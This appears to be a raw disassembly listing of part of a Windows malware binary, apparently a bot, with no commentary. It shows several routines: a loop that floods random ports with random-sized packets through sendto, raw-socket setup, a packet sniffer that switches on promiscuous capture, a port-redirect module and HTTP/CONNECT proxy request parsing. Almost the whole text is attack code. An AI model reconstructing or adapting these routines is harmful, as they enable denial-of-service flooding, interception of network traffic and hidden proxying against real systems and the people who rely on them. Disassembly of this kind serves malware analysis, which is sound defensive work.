var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_FFBC	= dword	ptr  0FFC0h
arg_FFCC	= dword	ptr  0FFD0h
arg_FFDC	= dword	ptr  0FFE0h
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFF0h
		call	sub_436840
		push	esi
		push	11h
		push	2
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, [esp+10h+arg_FFE4]
		mov	[esp+10h+arg_0], eax
		xor	eax, eax
		push	esi
		mov	[esp+14h+var_C], eax
		mov	word ptr [esp+14h+var_C], 2
		mov	[esp+14h+var_8], eax
		mov	[esp+14h+var_4], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427821
		push	esi
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jnz	short loc_42781A
		pop	esi
		add	esp, 0FFF0h
		retn
; ---------------------------------------------------------------------------


loc_42781A:				; CODE XREF: sub_4277C0+50j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_427821:				; CODE XREF: sub_4277C0+45j
		mov	esi, [esp+18h+arg_FFEC]
		push	ebx
		mov	ebx, dword_50FABC
		push	ebp
		test	esi, esi
		mov	[esp+20h+var_10], eax
		push	edi
		jnz	short loc_42785D
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+28h+var_16], ax
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42785D:				; CODE XREF: sub_4277C0+77j
		push	esi
		nop
		call	near ptr 71AB2B66h
		cmp	esi, 1
		mov	[esp+28h+var_16], ax
		jge	short loc_42787B
		mov	[esp+28h+arg_FFE8], 1
		jmp	short loc_42788E
; ---------------------------------------------------------------------------


loc_42787B:				; CODE XREF: sub_4277C0+ACj
		cmp	esi, 0FFFFh
		jle	short loc_42788E
		mov	[esp+28h+arg_FFE8], 0FFFFh


loc_42788E:				; CODE XREF: sub_4277C0+9Bj
					; sub_4277C0+B9j ...
		mov	eax, [esp+28h+arg_FFE4]
		test	eax, eax
		jnz	short loc_4278A4
		mov	[esp+28h+arg_FFE4], 1


loc_4278A4:				; CODE XREF: sub_4277C0+D7j
		mov	ecx, [esp+28h+arg_FFDC]
		mov	eax, 66666667h
		imul	ecx
		mov	edi, [esp+28h+arg_FFE0]
		xor	esi, esi
		sar	edx, 2
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		test	edi, edi
		mov	ebp, edx
		jle	short loc_4278DE


loc_4278CB:				; CODE XREF: sub_4277C0+11Cj
		call	ebx	; rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, edi
		mov	byte ptr [esp+esi+28h+var_8+3],	dl
		jl	short loc_4278CB


loc_4278DE:				; CODE XREF: sub_4277C0+109j
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		mov	[esp+28h+arg_FFDC], ebp
		jle	loc_427970
		mov	ebp, dword_50FC5C


loc_4278F6:				; CODE XREF: sub_4277C0+1AEj
		mov	al, byte_4D64F9
		test	al, al
		jz	short loc_427970
		mov	esi, 0Bh


loc_427904:				; CODE XREF: sub_4277C0+177j
		lea	eax, [esp+28h+var_18]
		push	10h
		push	eax
		push	0
		call	ebx	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	eax, edi
		lea	ecx, [esp+34h+var_4]
		sub	eax, edx
		mov	edx, [esp+34h+var_8]
		push	eax
		push	ecx
		push	edx
		call	ebp	; sendto
		mov	eax, [esp+40h+arg_FFCC]
		push	eax
		call	near ptr 2821EEEh
		nop
		dec	esi
		jnz	short loc_427904
		mov	eax, [esp+44h+arg_FFCC]
		test	eax, eax
		jnz	short loc_42795B
		call	ebx	; rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		nop
		call	near ptr 71AB2B66h
		mov	[esp+48h+var_36], ax


loc_42795B:				; CODE XREF: sub_4277C0+182j
		mov	eax, [esp+48h+arg_FFBC]
		mov	edx, eax
		dec	eax
		test	edx, edx
		mov	[esp+48h+arg_FFBC], eax
		jg	short loc_4278F6


loc_427970:				; CODE XREF: sub_4277C0+12Aj
					; sub_4277C0+13Dj
		pop	edi
		pop	ebp
		pop	ebx
		mov	eax, 1
		pop	esi
		add	esp, 0FFF0h
		retn
sub_4277C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4279F0	proc near		; CODE XREF: sub_40207Cj

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		mov	ebx, [esp+14h+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+1Ch+arg_0]
		lea	eax, [ebx-14h]
		push	eax
		lea	ecx, [edi+28h]
		push	ecx
		call	sub_401A28
		mov	edx, [edi+10h]
		add	esp, 8
		mov	[edi+0Ah], ax
		mov	[esp+1Ch+var_10], 2
		push	1
		push	0
		push	0
		push	0FFh
		push	3
		push	2
		mov	[esp+34h+var_C], edx
		mov	[esp+34h+arg_4], 1
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_427A4D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A4D:				; CODE XREF: sub_4279F0+52j
		lea	eax, [esp+1Ch+arg_4]
		push	4
		push	eax
		push	2
		push	0
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427A6D
		pop	edi
		pop	esi
		or	eax, eax
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_427A6D:				; CODE XREF: sub_4279F0+72j
		lea	ecx, [esp+1Ch+var_10]
		push	10h
		push	ecx
		push	0
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 71AB2C69h
		push	esi
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
sub_4279F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427AD0	proc near		; CODE XREF: sub_401D9Dj

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_28		= dword	ptr -28h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_10		= word ptr  14h
arg_12		= word ptr  16h
arg_14		= dword	ptr  18h
arg_1C		= byte ptr  20h
arg_24		= byte ptr  28h
arg_25		= byte ptr  29h
arg_B8		= byte ptr  0BCh
arg_C1		= byte ptr  0C5h
arg_C4		= dword	ptr  0C8h
arg_C8		= dword	ptr  0CCh
arg_100C8	= dword	ptr  100CCh
arg_100D8	= dword	ptr  100DCh
arg_10128	= dword	ptr  1012Ch
arg_1012C	= dword	ptr  10130h
arg_10130	= dword	ptr  10134h

		mov	eax, 10128h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [esp+10h+arg_25]
		mov	[esp+10h+arg_24], 0
		rep stosd
		stosw
		mov	eax, [esp+10h+arg_10128]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+14h+arg_1012C]
		mov	[esp+14h+arg_4], eax
		push	ecx
		call	sub_40187F
		mov	edi, [esp+18h+arg_10130]
		add	esp, 8
		xor	ebx, ebx
		mov	[esp+10h+arg_0], eax
		mov	[esp+10h+arg_10], 2
		mov	[esp+10h+arg_12], bx
		mov	[esp+10h+arg_14], ebx
		mov	esi, offset byte_446F70
		mov	eax, edi


loc_427B37:				; CODE XREF: sub_427AD0+85j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_427B5B
		test	cl, cl
		jz	short loc_427B57
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_427B5B
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_427B37


loc_427B57:				; CODE XREF: sub_427AD0+71j
		xor	eax, eax
		jmp	short loc_427B60
; ---------------------------------------------------------------------------


loc_427B5B:				; CODE XREF: sub_427AD0+6Dj
					; sub_427AD0+7Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_427B60:				; CODE XREF: sub_427AD0+89j
		cmp	eax, ebx
		jnz	short loc_427BB3
		mov	ebp, dword_4D6107
		cmp	ebp, ebx
		mov	[esp+10h], ebp
		jz	short loc_427B77
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BBE


loc_427B77:				; CODE XREF: sub_427AD0+A0j
		lea	eax, [esp+10h+arg_24]
		push	0FFh
		push	eax
		nop
		call	near ptr 71AB50C8h
		lea	ecx, [esp+18h+arg_1C]
		push	ecx
		call	near ptr 71AB4FD4h
		nop
		movsx	ecx, word ptr [eax+0Ah]
		mov	edx, [eax+0Ch]
		mov	eax, ecx
		lea	edi, [esp+1Ch+var_C]
		mov	esi, [edx]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ebp, [esp+1Ch+var_C]
		jmp	short loc_427BBE
; ---------------------------------------------------------------------------


loc_427BB3:				; CODE XREF: sub_427AD0+92j
		push	edi
		call	sub_40187F
		add	esp, 4
		mov	ebp, eax


loc_427BBE:				; CODE XREF: sub_427AD0+A5j
					; sub_427AD0+E1j
		cmp	ebp, ebx
		jz	short loc_427BC7
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_427BCD


loc_427BC7:				; CODE XREF: sub_427AD0+F0j
		mov	ebp, dword_4D6107


loc_427BCD:				; CODE XREF: sub_427AD0+F5j
		mov	edi, 1
		mov	[esp+10h+arg_14], ebp
		push	edi
		push	ebx
		push	ebx
		push	ebx
		push	3
		push	2
		mov	[esp+28h+arg_8], edi
		nop
		call	near ptr 71AB8769h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_427D0D
		lea	ecx, [esp+28h+var_C]
		push	4
		push	ecx
		push	2
		push	ebx
		push	esi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		lea	edx, [esp+3Ch+var_18]
		push	10h
		push	edx
		push	esi
		call	near ptr 71AB3E00h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		push	ebx
		lea	eax, [esp+4Ch+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_28]
		push	4
		push	ecx
		push	98000001h
		push	esi
		mov	[esp+6Ch+var_28], edi
		nop
		call	near ptr 71AB4489h
		cmp	eax, 0FFFFFFFFh
		jz	loc_427D0D
		mov	edx, [esp+6Ch+arg_100D8]
		cmp	byte ptr [edx],	0
		jz	loc_427CF3
		mov	ebx, dword_50FC90


loc_427C63:				; CODE XREF: sub_427AD0+21Dj
		mov	ecx, 3FFFh
		xor	eax, eax
		lea	edi, [esp+6Ch+arg_C8]
		push	0
		rep stosd
		stosw
		stosb
		lea	eax, [esp+70h+arg_C8]
		push	0FFFFh
		push	eax
		push	esi
		call	ebx	; recv
		cmp	[esp+7Ch+arg_C1], 2Fh
		jnz	short loc_427CE3
		mov	ecx, [esp+7Ch+arg_C4]
		mov	edx, [esp+7Ch+var_64]
		cmp	ecx, edx
		jnz	short loc_427CBE
		mov	ecx, [esp+7Ch+var_68]
		lea	edx, [esp+7Ch+arg_B8]
		push	eax
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], ecx
		push	edx
		jmp	short loc_427CDB
; ---------------------------------------------------------------------------


loc_427CBE:				; CODE XREF: sub_427AD0+1CFj
		cmp	ecx, [esp+7Ch+var_68]
		jnz	short loc_427CE3
		push	eax
		lea	eax, [esp+80h+arg_B8]
		mov	[esp+80h+arg_C4], ebp
		mov	[esp+80h+arg_C8], edx
		push	eax


loc_427CDB:				; CODE XREF: sub_427AD0+1ECj
		call	sub_40207C
		add	esp, 8


loc_427CE3:				; CODE XREF: sub_427AD0+1C0j
					; sub_427AD0+1F2j
		mov	ecx, [esp+7Ch+arg_100C8]
		cmp	byte ptr [ecx],	0
		jnz	loc_427C63


loc_427CF3:				; CODE XREF: sub_427AD0+187j
		mov	edx, dword_50FA84
		add	edx, 20h
		push	edx
		nop
		call	near ptr 77C3EEF6h
		add	esp, 4
		push	esi
		nop
		call	near ptr 71AB9639h


loc_427D0D:				; CODE XREF: sub_427AD0+11Dj
					; sub_427AD0+137j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10128h
		retn
sub_427AD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427DC0	proc near		; CODE XREF: sub_401889j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427DC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_444F40
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E12C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427E30	proc near		; CODE XREF: sub_401F82j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427E30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		lea	ecx, [esi+82h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E13C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427E30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427EF0	proc near		; CODE XREF: sub_40179Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427EF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E13C
		lea	ecx, [esi+82h]
		mov	[esp+14h+var_4], 5
		call	sub_401226
		lea	ecx, [esi+6Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427EF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427FC0:				; CODE XREF: ___:00401A14j
					; ___:loc_402068j
		push	esi
		mov	esi, ecx
		call	sub_40179E
		test	byte ptr [esp+8], 1
		jz	short loc_427FD8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427FD8:				; CODE XREF: ___:00427FCDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FF0	proc near		; CODE XREF: ___:00401096j sub_401C2Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4015F5
		test	[esp+4+arg_0], 1
		jz	short loc_428008
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428008:				; CODE XREF: sub_427FF0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427FF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428020	proc near		; CODE XREF: sub_4015F5j
		jmp	sub_40179E
sub_428020	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428040	proc near		; CODE XREF: sub_4015AFj
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+82h]
		lea	ebx, [esi+58h]
		mov	ecx, edi
		lea	ebp, [esi+6Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSStartedRedire ; "[%s] Started redirect	from \"%s\" to \"%s\""...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		mov	edx, [esi+99h]
		add	esp, 24h
		add	edx, 11Ch
		mov	ecx, edi
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		call	sub_401D9D
		add	esp, 10h
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRedir ; "[%s] Finished	redirect from \"%s\" to	\"%s"...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+97h]
		push	eax
		mov	al, [esi+98h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_428040	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428160	proc near		; CODE XREF: sub_401884j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, ecx
		mov	[esp+2Ch+var_28], esi
		call	sub_401F82
		lea	ecx, [esi+0A1h]
		mov	[esp+2Ch+var_4], 0
		call	sub_401424
		push	0
		push	2Ah
		push	2Eh
		push	2Eh
		lea	eax, [esp+3Ch+var_24]
		push	22h
		push	eax
		mov	byte ptr [esp+44h+var_4], 1
		mov	dword ptr [esi], offset	off_43E14C
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4015D7
		lea	ecx, [esp+2Ch+var_24]
		mov	byte ptr [esp+2Ch+var_4], 1
		call	sub_401226
		mov	ecx, [esp+2Ch+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_428160	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428220	proc near		; CODE XREF: ___:00401E15j sub_4021B2j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401BD1
		test	[esp+4+arg_0], 1
		jz	short loc_428238
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428238:				; CODE XREF: sub_428220+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428220	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428250	proc near		; CODE XREF: sub_401BD1j
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, dword_50FC88
		mov	eax, [esi+0BFh]
		mov	dword ptr [esi], offset	off_43E14C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42826E
		push	eax
		call	edi	; closesocket


loc_42826E:				; CODE XREF: sub_428250+19j
		mov	eax, [esi+0BBh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42827C
		push	eax
		call	edi	; closesocket


loc_42827C:				; CODE XREF: sub_428250+27j
		lea	ecx, [esi+0A1h]
		call	sub_401226
		mov	ecx, esi
		call	sub_40179E
		pop	edi
		pop	esi
		retn
sub_428250	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4282C0	proc near		; CODE XREF: sub_401D2Aj

var_B0		= byte ptr -0B0h
var_AA		= byte ptr -0AAh
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_5C		= byte ptr -5Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_3C		= byte ptr -3Ch
var_34		= byte ptr -34h
var_2C		= dword	ptr -2Ch
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_C		= byte ptr -0Ch
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_C		= byte ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_24		= byte ptr  28h
arg_28		= byte ptr  2Ch
arg_34		= byte ptr  38h
arg_3C		= byte ptr  40h
arg_40		= byte ptr  44h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_4A		= word ptr  4Eh
arg_4C		= dword	ptr  50h
arg_50		= dword	ptr  54h
arg_54		= dword	ptr  58h
arg_58		= dword	ptr  5Ch
arg_64		= byte ptr  68h
arg_68		= byte ptr  6Ch
arg_6C		= byte ptr  70h
arg_91		= byte ptr  95h
arg_98		= byte ptr  9Ch
arg_9D		= byte ptr  0A1h
arg_AD		= byte ptr  0B1h
arg_D0		= dword	ptr  0D4h
arg_D4		= byte ptr  0D8h
arg_E0		= dword	ptr  0E4h
arg_E4		= byte ptr  0E8h
arg_EC		= dword	ptr  0F0h
arg_F0		= byte ptr  0F4h
arg_FC		= byte ptr  100h
arg_108		= byte ptr  10Ch
arg_12C		= byte ptr  130h
arg_150		= byte ptr  154h
arg_15C		= byte ptr  160h
arg_180		= byte ptr  184h
arg_18C		= byte ptr  190h
arg_1A4		= byte ptr  1A8h
arg_1B0		= byte ptr  1B4h
arg_1F8		= byte ptr  1FCh
arg_210		= byte ptr  214h
arg_228		= byte ptr  22Ch
arg_230		= byte ptr  234h
arg_240		= byte ptr  244h
arg_244		= dword	ptr  248h
arg_248		= dword	ptr  24Ch
arg_24C		= dword	ptr  250h
arg_258		= byte ptr  25Ch
arg_374		= byte ptr  378h
arg_3EC		= byte ptr  3F0h
arg_3FC		= byte ptr  400h
arg_40C		= byte ptr  410h
arg_41C		= byte ptr  420h
arg_42C		= byte ptr  430h
arg_43C		= byte ptr  440h
arg_44C		= byte ptr  450h
arg_45C		= byte ptr  460h
arg_478		= byte ptr  47Ch
arg_4478	= byte ptr  447Ch
arg_53D0	= dword	ptr  53D4h
arg_53E0	= dword	ptr  53E4h
arg_5434	= byte ptr  5438h
arg_5444	= byte ptr  5448h
arg_544C	= dword	ptr  5450h
arg_5454	= dword	ptr  5458h
arg_5480	= dword	ptr  5484h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43BA92
		push	eax
		mov	eax, 5488h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	ebp, ecx
		or	esi, 0FFFFFFFFh
		push	edi
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+11h], 0
		mov	[esp+1Ch+var_A], 0


loc_4282F8:				; CODE XREF: sub_4282C0+FC6j
		lea	ecx, [esp+1Ch+arg_98]
		call	sub_401B36
		lea	ecx, [esp+1Ch+var_8]
		mov	[esp+1Ch+arg_5480], 0
		mov	[esp+1Ch+var_9], 0
		call	sub_401424
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+20h+arg_374]
		push	104h
		push	eax
		push	ecx
		mov	byte ptr [esp+2Ch+arg_5480], 1
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_429310
		lea	edx, [esp+1Ch+arg_374]
		lea	ecx, [esp+1Ch+arg_10]
		push	edx
		call	sub_401861
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_10]
		mov	byte ptr [esp+20h+arg_5480], 2
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4283B0
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_429280
; ---------------------------------------------------------------------------


loc_4283B0:				; CODE XREF: sub_4282C0+B4j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_210]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset off_445258
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 3
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_210]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_428475
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_1F8]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		mov	[esp+28h+var_9], 1
		call	sub_4016AE
		lea	edx, [esp+1Ch+arg_98]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+20h+arg_5480], 4
		call	sub_4017E4
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+1Ch+arg_1F8]
		test	al, al
		setz	bl
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_4292FF
		push	offset aHttp	; "http"
		lea	ecx, [esp+20h+arg_98]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4292FF
		jmp	loc_42866A
; ---------------------------------------------------------------------------


loc_428475:				; CODE XREF: sub_4282C0+137j
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_228]
		push	0
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_5480], 5
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+1Ch+arg_228]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42866A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+20h+arg_98]
		mov	[esp+20h+var_9], 0
		call	sub_4015D7
		push	offset byte_446F70
		lea	ecx, [esp+20h+arg_F0]
		call	sub_4015D7
		push	offset asc_443600 ; " "
		lea	ecx, [esp+20h+arg_108]
		push	1
		push	ecx
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+20h+arg_150]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+28h+arg_5480], 6
		call	sub_4016AE
		push	eax
		lea	ecx, [esp+20h+arg_AD]
		mov	byte ptr [esp+20h+arg_5480], 7
		call	sub_401FBE
		lea	ecx, [esp+1Ch+arg_150]
		mov	byte ptr [esp+1Ch+arg_5480], 6
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_108]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+20h+arg_258]
		push	1
		push	eax
		lea	ecx, [esp+28h+arg_10]
		call	sub_4016AE
